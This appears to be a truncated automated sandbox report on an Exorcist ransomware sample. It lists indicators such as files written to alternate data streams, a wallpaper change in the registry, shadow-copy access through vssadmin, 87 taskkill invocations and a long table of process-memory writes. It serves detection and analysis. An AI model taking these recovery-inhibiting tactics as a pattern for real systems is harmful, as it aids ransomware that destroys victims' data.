description ioc Process File opened for modification C:\Users\Admin\AppData\Local\Temp\boot.sys:niouzersmbbef f4009abe9f41da41e48340c96e29d62c.exe File opened for modification C:\Users\Admin\AppData\Local\Temp\boot.sys:ruwvvoech f4009abe9f41da41e48340c96e29d62c.exe File created C:\Users\Admin\AppData\Local\Temp\boot.sys:crecqyosmlwneafy f4009abe9f41da41e48340c96e29d62c.exe File created C:\Users\Admin\AppData\Local\Temp\boot.sys:ruwvvoech f4009abe9f41da41e48340c96e29d62c.exe File created C:\Users\Admin\AppData\Local\Temp\boot.sys:colmipagylghfdlek f4009abe9f41da41e48340c96e29d62c.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d.bmp" f4009abe9f41da41e48340c96e29d62c.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1804 vssadmin.exe -
Kills process with taskkill 87 IoCs
pid Process 2012 taskkill.exe 876 taskkill.exe 1808 taskkill.exe 772 taskkill.exe 1808 taskkill.exe 1500 taskkill.exe 1868 taskkill.exe 772 taskkill.exe 1000 taskkill.exe 564 taskkill.exe 788 taskkill.exe 2016 taskkill.exe 1344 taskkill.exe 1036 taskkill.exe 1492 taskkill.exe 800 taskkill.exe 1616 taskkill.exe 760 taskkill.exe 2020 taskkill.exe 1872 taskkill.exe 1984 taskkill.exe 1556 taskkill.exe 1904 taskkill.exe 1552 taskkill.exe 572 taskkill.exe 1940 taskkill.exe 1852 taskkill.exe 744 taskkill.exe 1364 taskkill.exe 340 taskkill.exe 1056 taskkill.exe 520 taskkill.exe 1060 taskkill.exe 788 taskkill.exe 1496 taskkill.exe 1952 taskkill.exe 2040 taskkill.exe 1432 taskkill.exe 1832 taskkill.exe 1912 taskkill.exe 1232 taskkill.exe 1052 taskkill.exe 1904 taskkill.exe 1944 taskkill.exe 1604 taskkill.exe 876 taskkill.exe 1980 taskkill.exe 1824 taskkill.exe 1956 taskkill.exe 660 taskkill.exe 1368 taskkill.exe 2032 taskkill.exe 2000 taskkill.exe 1892 taskkill.exe 580 taskkill.exe 1524 taskkill.exe 1044 taskkill.exe 772 taskkill.exe 1060 taskkill.exe 1820 taskkill.exe 1320 taskkill.exe 744 taskkill.exe 1400 taskkill.exe 1940 taskkill.exe 1952 taskkill.exe 1108 taskkill.exe 1888 taskkill.exe 760 taskkill.exe 1652 taskkill.exe 2024 taskkill.exe 1852 taskkill.exe 2000 taskkill.exe 1272 taskkill.exe 1988 taskkill.exe 1876 taskkill.exe 1580 taskkill.exe 1560 taskkill.exe 1376 taskkill.exe 2012 taskkill.exe 1512 taskkill.exe 1632 taskkill.exe 1352 taskkill.exe 1400 taskkill.exe 836 taskkill.exe 1000 taskkill.exe 1888 taskkill.exe 1568 taskkill.exe -
Enumerates connected drives 3 TTPs
-
Exorcist
Ransomware-as-a-service which avoids infecting machines in CIS nations. First seen in mid-2020.
-
Delays execution with timeout.exe 1 IoCs
pid Process 1432 timeout.exe -
Suspicious use of WriteProcessMemory 740 IoCs
description pid Process procid_target PID 844 wrote to memory of 744 844 f4009abe9f41da41e48340c96e29d62c.exe 25 PID 844 wrote to memory of 744 844 f4009abe9f41da41e48340c96e29d62c.exe 25 PID 844 wrote to memory of 744 844 f4009abe9f41da41e48340c96e29d62c.exe 25 PID 844 wrote to memory of 744 844 f4009abe9f41da41e48340c96e29d62c.exe 25 PID 744 wrote to memory of 1628 744 cmd.exe 27 PID 744 wrote to memory of 1628 744 cmd.exe 27 PID 744 wrote to memory of 1628 744 cmd.exe 27 PID 744 wrote to memory of 1628 744 cmd.exe 27 PID 844 wrote to memory of 1244 844 f4009abe9f41da41e48340c96e29d62c.exe 30 PID 844 wrote to memory of 1244 844 f4009abe9f41da41e48340c96e29d62c.exe 30 PID 844 wrote to memory of 1244 844 f4009abe9f41da41e48340c96e29d62c.exe 30 PID 844 wrote to memory of 1244 844 f4009abe9f41da41e48340c96e29d62c.exe 30 PID 844 wrote to memory of 1852 844 f4009abe9f41da41e48340c96e29d62c.exe 32 PID 844 wrote to memory of 1852 844 f4009abe9f41da41e48340c96e29d62c.exe 32 PID 844 wrote to memory of 1852 844 f4009abe9f41da41e48340c96e29d62c.exe 32 PID 844 wrote to memory of 1852 844 f4009abe9f41da41e48340c96e29d62c.exe 32 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 34 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 34 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 34 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 34 PID 844 wrote to memory of 1736 844 f4009abe9f41da41e48340c96e29d62c.exe 36 PID 844 wrote to memory of 1736 844 f4009abe9f41da41e48340c96e29d62c.exe 36 PID 844 wrote to memory of 1736 844 f4009abe9f41da41e48340c96e29d62c.exe 36 PID 844 wrote to memory of 1736 844 f4009abe9f41da41e48340c96e29d62c.exe 36 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 38 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 38 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 38 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 38 PID 1808 wrote to memory of 1804 1808 cmd.exe 40 PID 1808 wrote to memory of 1804 1808 cmd.exe 40 PID 1808 wrote to memory of 1804 1808 cmd.exe 40 PID 1808 wrote to memory of 1804 1808 cmd.exe 40 PID 844 wrote to memory of 580 844 f4009abe9f41da41e48340c96e29d62c.exe 41 PID 844 wrote to memory of 580 844 f4009abe9f41da41e48340c96e29d62c.exe 41 PID 844 wrote to memory of 580 844 f4009abe9f41da41e48340c96e29d62c.exe 41 PID 844 wrote to memory of 580 844 f4009abe9f41da41e48340c96e29d62c.exe 41 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 43 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 43 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 43 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 43 PID 1368 wrote to memory of 1376 1368 cmd.exe 45 PID 1368 wrote to memory of 1376 1368 cmd.exe 45 PID 1368 wrote to memory of 1376 1368 cmd.exe 45 PID 1368 wrote to memory of 1376 1368 cmd.exe 45 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 47 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 47 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 47 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 47 PID 1632 wrote to memory of 1556 1632 cmd.exe 49 PID 1632 wrote to memory of 1556 1632 cmd.exe 49 PID 1632 wrote to memory of 1556 1632 cmd.exe 49 PID 1632 wrote to memory of 1556 1632 cmd.exe 49 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 50 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 50 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 50 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 50 PID 1988 wrote to memory of 1940 1988 cmd.exe 52 PID 1988 wrote to memory of 1940 1988 cmd.exe 52 PID 1988 wrote to memory of 1940 1988 cmd.exe 52 PID 1988 wrote to memory of 1940 1988 cmd.exe 52 PID 844 wrote to memory of 2028 844 f4009abe9f41da41e48340c96e29d62c.exe 53 PID 844 wrote to memory of 2028 844 f4009abe9f41da41e48340c96e29d62c.exe 53 PID 844 wrote to memory of 2028 844 f4009abe9f41da41e48340c96e29d62c.exe 53 PID 844 wrote to memory of 2028 844 f4009abe9f41da41e48340c96e29d62c.exe 53 PID 2028 wrote to memory of 2012 2028 cmd.exe 55 PID 2028 wrote to memory of 2012 2028 cmd.exe 55 PID 2028 wrote to memory of 2012 2028 cmd.exe 55 PID 2028 wrote to memory of 2012 2028 cmd.exe 55 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 56 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 56 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 56 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 56 PID 1512 wrote to memory of 1400 1512 cmd.exe 58 PID 1512 wrote to memory of 1400 1512 cmd.exe 58 PID 1512 wrote to memory of 1400 1512 cmd.exe 58 PID 1512 wrote to memory of 1400 1512 cmd.exe 58 PID 844 wrote to memory of 1500 844 f4009abe9f41da41e48340c96e29d62c.exe 59 PID 844 wrote to memory of 1500 844 f4009abe9f41da41e48340c96e29d62c.exe 59 PID 844 wrote to memory of 1500 844 f4009abe9f41da41e48340c96e29d62c.exe 59 PID 844 wrote to memory of 1500 844 f4009abe9f41da41e48340c96e29d62c.exe 59 PID 1500 wrote to memory of 788 1500 cmd.exe 61 PID 1500 wrote to memory of 788 1500 cmd.exe 61 PID 1500 wrote to memory of 788 1500 cmd.exe 61 PID 1500 wrote to memory of 788 1500 cmd.exe 61 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 62 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 62 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 62 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 62 PID 1424 wrote to memory of 836 1424 cmd.exe 64 PID 1424 wrote to memory of 836 1424 cmd.exe 64 PID 1424 wrote to memory of 836 1424 cmd.exe 64 PID 1424 wrote to memory of 836 1424 cmd.exe 64 PID 844 wrote to memory of 1112 844 f4009abe9f41da41e48340c96e29d62c.exe 65 PID 844 wrote to memory of 1112 844 f4009abe9f41da41e48340c96e29d62c.exe 65 PID 844 wrote to memory of 1112 844 f4009abe9f41da41e48340c96e29d62c.exe 65 PID 844 wrote to memory of 1112 844 f4009abe9f41da41e48340c96e29d62c.exe 65 PID 1112 wrote to memory of 1852 1112 cmd.exe 67 PID 1112 wrote to memory of 1852 1112 cmd.exe 67 PID 1112 wrote to memory of 1852 1112 cmd.exe 67 PID 1112 wrote to memory of 1852 1112 cmd.exe 67 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 68 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 68 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 68 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 68 PID 1908 wrote to memory of 1912 1908 cmd.exe 70 PID 1908 wrote to memory of 1912 1908 cmd.exe 70 PID 1908 wrote to memory of 1912 1908 cmd.exe 70 PID 1908 wrote to memory of 1912 1908 cmd.exe 70 PID 844 wrote to memory of 468 844 f4009abe9f41da41e48340c96e29d62c.exe 71 PID 844 wrote to memory of 468 844 f4009abe9f41da41e48340c96e29d62c.exe 71 PID 844 wrote to memory of 468 844 f4009abe9f41da41e48340c96e29d62c.exe 71 PID 844 wrote to memory of 468 844 f4009abe9f41da41e48340c96e29d62c.exe 71 PID 468 wrote to memory of 1808 468 cmd.exe 73 PID 468 wrote to memory of 1808 468 cmd.exe 73 PID 468 wrote to memory of 1808 468 cmd.exe 73 PID 468 wrote to memory of 1808 468 cmd.exe 73 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 74 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 74 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 74 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 74 PID 1360 wrote to memory of 772 1360 cmd.exe 76 PID 1360 wrote to memory of 772 1360 cmd.exe 76 PID 1360 wrote to memory of 772 1360 cmd.exe 76 PID 1360 wrote to memory of 772 1360 cmd.exe 76 PID 844 wrote to memory of 1644 844 f4009abe9f41da41e48340c96e29d62c.exe 77 PID 844 wrote to memory of 1644 844 f4009abe9f41da41e48340c96e29d62c.exe 77 PID 844 wrote to memory of 1644 844 f4009abe9f41da41e48340c96e29d62c.exe 77 PID 844 wrote to memory of 1644 844 f4009abe9f41da41e48340c96e29d62c.exe 77 PID 1644 wrote to memory of 1952 1644 cmd.exe 79 PID 1644 wrote to memory of 1952 1644 cmd.exe 79 PID 1644 wrote to memory of 1952 1644 cmd.exe 79 PID 1644 wrote to memory of 1952 1644 cmd.exe 79 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 80 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 80 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 80 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 80 PID 1980 wrote to memory of 2000 1980 cmd.exe 82 PID 1980 wrote to memory of 2000 1980 cmd.exe 82 PID 1980 wrote to memory of 2000 1980 cmd.exe 82 PID 1980 wrote to memory of 2000 1980 cmd.exe 82 PID 844 wrote to memory of 2016 844 f4009abe9f41da41e48340c96e29d62c.exe 83 PID 844 wrote to memory of 2016 844 f4009abe9f41da41e48340c96e29d62c.exe 83 PID 844 wrote to memory of 2016 844 f4009abe9f41da41e48340c96e29d62c.exe 83 PID 844 wrote to memory of 2016 844 f4009abe9f41da41e48340c96e29d62c.exe 83 PID 2016 wrote to memory of 1272 2016 cmd.exe 85 PID 2016 wrote to memory of 1272 2016 cmd.exe 85 PID 2016 wrote to memory of 1272 2016 cmd.exe 85 PID 2016 wrote to memory of 1272 2016 cmd.exe 85 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 86 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 86 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 86 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 86 PID 1460 wrote to memory of 1000 1460 cmd.exe 88 PID 1460 wrote to memory of 1000 1460 cmd.exe 88 PID 1460 wrote to memory of 1000 1460 cmd.exe 88 PID 1460 wrote to memory of 1000 1460 cmd.exe 88 PID 844 wrote to memory of 1560 844 f4009abe9f41da41e48340c96e29d62c.exe 89 PID 844 wrote to memory of 1560 844 f4009abe9f41da41e48340c96e29d62c.exe 89 PID 844 wrote to memory of 1560 844 f4009abe9f41da41e48340c96e29d62c.exe 89 PID 844 wrote to memory of 1560 844 f4009abe9f41da41e48340c96e29d62c.exe 89 PID 1560 wrote to memory of 800 1560 cmd.exe 91 PID 1560 wrote to memory of 800 1560 cmd.exe 91 PID 1560 wrote to memory of 800 1560 cmd.exe 91 PID 1560 wrote to memory of 800 1560 cmd.exe 91 PID 844 wrote to memory of 1052 844 f4009abe9f41da41e48340c96e29d62c.exe 92 PID 844 wrote to memory of 1052 844 f4009abe9f41da41e48340c96e29d62c.exe 92 PID 844 wrote to memory of 1052 844 f4009abe9f41da41e48340c96e29d62c.exe 92 PID 844 wrote to memory of 1052 844 f4009abe9f41da41e48340c96e29d62c.exe 92 PID 1052 wrote to memory of 1108 1052 cmd.exe 94 PID 1052 wrote to memory of 1108 1052 cmd.exe 94 PID 1052 wrote to memory of 1108 1052 cmd.exe 94 PID 1052 wrote to memory of 1108 1052 cmd.exe 94 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 95 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 95 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 95 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 95 PID 1044 wrote to memory of 1888 1044 cmd.exe 97 PID 1044 wrote to memory of 1888 1044 cmd.exe 97 PID 1044 wrote to memory of 1888 1044 cmd.exe 97 PID 1044 wrote to memory of 1888 1044 cmd.exe 97 PID 844 wrote to memory of 1868 844 f4009abe9f41da41e48340c96e29d62c.exe 98 PID 844 wrote to memory of 1868 844 f4009abe9f41da41e48340c96e29d62c.exe 98 PID 844 wrote to memory of 1868 844 f4009abe9f41da41e48340c96e29d62c.exe 98 PID 844 wrote to memory of 1868 844 f4009abe9f41da41e48340c96e29d62c.exe 98 PID 1868 wrote to memory of 760 1868 cmd.exe 100 PID 1868 wrote to memory of 760 1868 cmd.exe 100 PID 1868 wrote to memory of 760 1868 cmd.exe 100 PID 1868 wrote to memory of 760 1868 cmd.exe 100 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 101 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 101 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 101 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 101 PID 1908 wrote to memory of 564 1908 cmd.exe 103 PID 1908 wrote to memory of 564 1908 cmd.exe 103 PID 1908 wrote to memory of 564 1908 cmd.exe 103 PID 1908 wrote to memory of 564 1908 cmd.exe 103 PID 844 wrote to memory of 1900 844 f4009abe9f41da41e48340c96e29d62c.exe 104 PID 844 wrote to memory of 1900 844 f4009abe9f41da41e48340c96e29d62c.exe 104 PID 844 wrote to memory of 1900 844 f4009abe9f41da41e48340c96e29d62c.exe 104 PID 844 wrote to memory of 1900 844 f4009abe9f41da41e48340c96e29d62c.exe 104 PID 1900 wrote to memory of 1368 1900 cmd.exe 106 PID 1900 wrote to memory of 1368 1900 cmd.exe 106 PID 1900 wrote to memory of 1368 1900 cmd.exe 106 PID 1900 wrote to memory of 1368 1900 cmd.exe 106 PID 844 wrote to memory of 1652 844 f4009abe9f41da41e48340c96e29d62c.exe 107 PID 844 wrote to memory of 1652 844 f4009abe9f41da41e48340c96e29d62c.exe 107 PID 844 wrote to memory of 1652 844 f4009abe9f41da41e48340c96e29d62c.exe 107 PID 844 wrote to memory of 1652 844 f4009abe9f41da41e48340c96e29d62c.exe 107 PID 1652 wrote to memory of 1616 1652 cmd.exe 109 PID 1652 wrote to memory of 1616 1652 cmd.exe 109 PID 1652 wrote to memory of 1616 1652 cmd.exe 109 PID 1652 wrote to memory of 1616 1652 cmd.exe 109 PID 844 wrote to memory of 1984 844 f4009abe9f41da41e48340c96e29d62c.exe 110 PID 844 wrote to memory of 1984 844 f4009abe9f41da41e48340c96e29d62c.exe 110 PID 844 wrote to memory of 1984 844 f4009abe9f41da41e48340c96e29d62c.exe 110 PID 844 wrote to memory of 1984 844 f4009abe9f41da41e48340c96e29d62c.exe 110 PID 1984 wrote to memory of 1988 1984 cmd.exe 112 PID 1984 wrote to memory of 1988 1984 cmd.exe 112 PID 1984 wrote to memory of 1988 1984 cmd.exe 112 PID 1984 wrote to memory of 1988 1984 cmd.exe 112 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 113 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 113 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 113 PID 844 wrote to memory of 1980 844 f4009abe9f41da41e48340c96e29d62c.exe 113 PID 1980 wrote to memory of 2032 1980 cmd.exe 115 PID 1980 wrote to memory of 2032 1980 cmd.exe 115 PID 1980 wrote to memory of 2032 1980 cmd.exe 115 PID 1980 wrote to memory of 2032 1980 cmd.exe 115 PID 844 wrote to memory of 676 844 f4009abe9f41da41e48340c96e29d62c.exe 116 PID 844 wrote to memory of 676 844 f4009abe9f41da41e48340c96e29d62c.exe 116 PID 844 wrote to memory of 676 844 f4009abe9f41da41e48340c96e29d62c.exe 116 PID 844 wrote to memory of 676 844 f4009abe9f41da41e48340c96e29d62c.exe 116 PID 676 wrote to memory of 1512 676 cmd.exe 118 PID 676 wrote to memory of 1512 676 cmd.exe 118 PID 676 wrote to memory of 1512 676 cmd.exe 118 PID 676 wrote to memory of 1512 676 cmd.exe 118 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 119 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 119 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 119 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 119 PID 1476 wrote to memory of 1496 1476 cmd.exe 121 PID 1476 wrote to memory of 1496 1476 cmd.exe 121 PID 1476 wrote to memory of 1496 1476 cmd.exe 121 PID 1476 wrote to memory of 1496 1476 cmd.exe 121 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 122 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 122 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 122 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 122 PID 1540 wrote to memory of 744 1540 cmd.exe 124 PID 1540 wrote to memory of 744 1540 cmd.exe 124 PID 1540 wrote to memory of 744 1540 cmd.exe 124 PID 1540 wrote to memory of 744 1540 cmd.exe 124 PID 844 wrote to memory of 1108 844 f4009abe9f41da41e48340c96e29d62c.exe 125 PID 844 wrote to memory of 1108 844 f4009abe9f41da41e48340c96e29d62c.exe 125 PID 844 wrote to memory of 1108 844 f4009abe9f41da41e48340c96e29d62c.exe 125 PID 844 wrote to memory of 1108 844 f4009abe9f41da41e48340c96e29d62c.exe 125 PID 1108 wrote to memory of 1876 1108 cmd.exe 127 PID 1108 wrote to memory of 1876 1108 cmd.exe 127 PID 1108 wrote to memory of 1876 1108 cmd.exe 127 PID 1108 wrote to memory of 1876 1108 cmd.exe 127 PID 844 wrote to memory of 1848 844 f4009abe9f41da41e48340c96e29d62c.exe 128 PID 844 wrote to memory of 1848 844 f4009abe9f41da41e48340c96e29d62c.exe 128 PID 844 wrote to memory of 1848 844 f4009abe9f41da41e48340c96e29d62c.exe 128 PID 844 wrote to memory of 1848 844 f4009abe9f41da41e48340c96e29d62c.exe 128 PID 1848 wrote to memory of 1044 1848 cmd.exe 130 PID 1848 wrote to memory of 1044 1848 cmd.exe 130 PID 1848 wrote to memory of 1044 1848 cmd.exe 130 PID 1848 wrote to memory of 1044 1848 cmd.exe 130 PID 844 wrote to memory of 1828 844 f4009abe9f41da41e48340c96e29d62c.exe 131 PID 844 wrote to memory of 1828 844 f4009abe9f41da41e48340c96e29d62c.exe 131 PID 844 wrote to memory of 1828 844 f4009abe9f41da41e48340c96e29d62c.exe 131 PID 844 wrote to memory of 1828 844 f4009abe9f41da41e48340c96e29d62c.exe 131 PID 1828 wrote to memory of 1904 1828 cmd.exe 133 PID 1828 wrote to memory of 1904 1828 cmd.exe 133 PID 1828 wrote to memory of 1904 1828 cmd.exe 133 PID 1828 wrote to memory of 1904 1828 cmd.exe 133 PID 844 wrote to memory of 1372 844 f4009abe9f41da41e48340c96e29d62c.exe 134 PID 844 wrote to memory of 1372 844 f4009abe9f41da41e48340c96e29d62c.exe 134 PID 844 wrote to memory of 1372 844 f4009abe9f41da41e48340c96e29d62c.exe 134 PID 844 wrote to memory of 1372 844 f4009abe9f41da41e48340c96e29d62c.exe 134 PID 1372 wrote to memory of 1808 1372 cmd.exe 136 PID 1372 wrote to memory of 1808 1372 cmd.exe 136 PID 1372 wrote to memory of 1808 1372 cmd.exe 136 PID 1372 wrote to memory of 1808 1372 cmd.exe 136 PID 844 wrote to memory of 1356 844 f4009abe9f41da41e48340c96e29d62c.exe 137 PID 844 wrote to memory of 1356 844 f4009abe9f41da41e48340c96e29d62c.exe 137 PID 844 wrote to memory of 1356 844 f4009abe9f41da41e48340c96e29d62c.exe 137 PID 844 wrote to memory of 1356 844 f4009abe9f41da41e48340c96e29d62c.exe 137 PID 1356 wrote to memory of 772 1356 cmd.exe 139 PID 1356 wrote to memory of 772 1356 cmd.exe 139 PID 1356 wrote to memory of 772 1356 cmd.exe 139 PID 1356 wrote to memory of 772 1356 cmd.exe 139 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 140 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 140 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 140 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 140 PID 1576 wrote to memory of 1952 1576 cmd.exe 142 PID 1576 wrote to memory of 1952 1576 cmd.exe 142 PID 1576 wrote to memory of 1952 1576 cmd.exe 142 PID 1576 wrote to memory of 1952 1576 cmd.exe 142 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 143 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 143 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 143 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 143 PID 1964 wrote to memory of 2000 1964 cmd.exe 145 PID 1964 wrote to memory of 2000 1964 cmd.exe 145 PID 1964 wrote to memory of 2000 1964 cmd.exe 145 PID 1964 wrote to memory of 2000 1964 cmd.exe 145 PID 844 wrote to memory of 2036 844 f4009abe9f41da41e48340c96e29d62c.exe 146 PID 844 wrote to memory of 2036 844 f4009abe9f41da41e48340c96e29d62c.exe 146 PID 844 wrote to memory of 2036 844 f4009abe9f41da41e48340c96e29d62c.exe 146 PID 844 wrote to memory of 2036 844 f4009abe9f41da41e48340c96e29d62c.exe 146 PID 2036 wrote to memory of 2040 2036 cmd.exe 148 PID 2036 wrote to memory of 2040 2036 cmd.exe 148 PID 2036 wrote to memory of 2040 2036 cmd.exe 148 PID 2036 wrote to memory of 2040 2036 cmd.exe 148 PID 844 wrote to memory of 1516 844 f4009abe9f41da41e48340c96e29d62c.exe 149 PID 844 wrote to memory of 1516 844 f4009abe9f41da41e48340c96e29d62c.exe 149 PID 844 wrote to memory of 1516 844 f4009abe9f41da41e48340c96e29d62c.exe 149 PID 844 wrote to memory of 1516 844 f4009abe9f41da41e48340c96e29d62c.exe 149 PID 1516 wrote to memory of 1000 1516 cmd.exe 151 PID 1516 wrote to memory of 1000 1516 cmd.exe 151 PID 1516 wrote to memory of 1000 1516 cmd.exe 151 PID 1516 wrote to memory of 1000 1516 cmd.exe 151 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 152 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 152 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 152 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 152 PID 784 wrote to memory of 1060 784 cmd.exe 154 PID 784 wrote to memory of 1060 784 cmd.exe 154 PID 784 wrote to memory of 1060 784 cmd.exe 154 PID 784 wrote to memory of 1060 784 cmd.exe 154 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 155 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 155 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 155 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 155 PID 1424 wrote to memory of 1232 1424 cmd.exe 157 PID 1424 wrote to memory of 1232 1424 cmd.exe 157 PID 1424 wrote to memory of 1232 1424 cmd.exe 157 PID 1424 wrote to memory of 1232 1424 cmd.exe 157 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 158 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 158 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 158 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 158 PID 1876 wrote to memory of 1888 1876 cmd.exe 160 PID 1876 wrote to memory of 1888 1876 cmd.exe 160 PID 1876 wrote to memory of 1888 1876 cmd.exe 160 PID 1876 wrote to memory of 1888 1876 cmd.exe 160 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 161 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 161 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 161 PID 844 wrote to memory of 1044 844 f4009abe9f41da41e48340c96e29d62c.exe 161 PID 1044 wrote to memory of 760 1044 cmd.exe 163 PID 1044 wrote to memory of 760 1044 cmd.exe 163 PID 1044 wrote to memory of 760 1044 cmd.exe 163 PID 1044 wrote to memory of 760 1044 cmd.exe 163 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 164 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 164 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 164 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 164 PID 660 wrote to memory of 1364 660 cmd.exe 166 PID 660 wrote to memory of 1364 660 cmd.exe 166 PID 660 wrote to memory of 1364 660 cmd.exe 166 PID 660 wrote to memory of 1364 660 cmd.exe 166 PID 844 wrote to memory of 1372 844 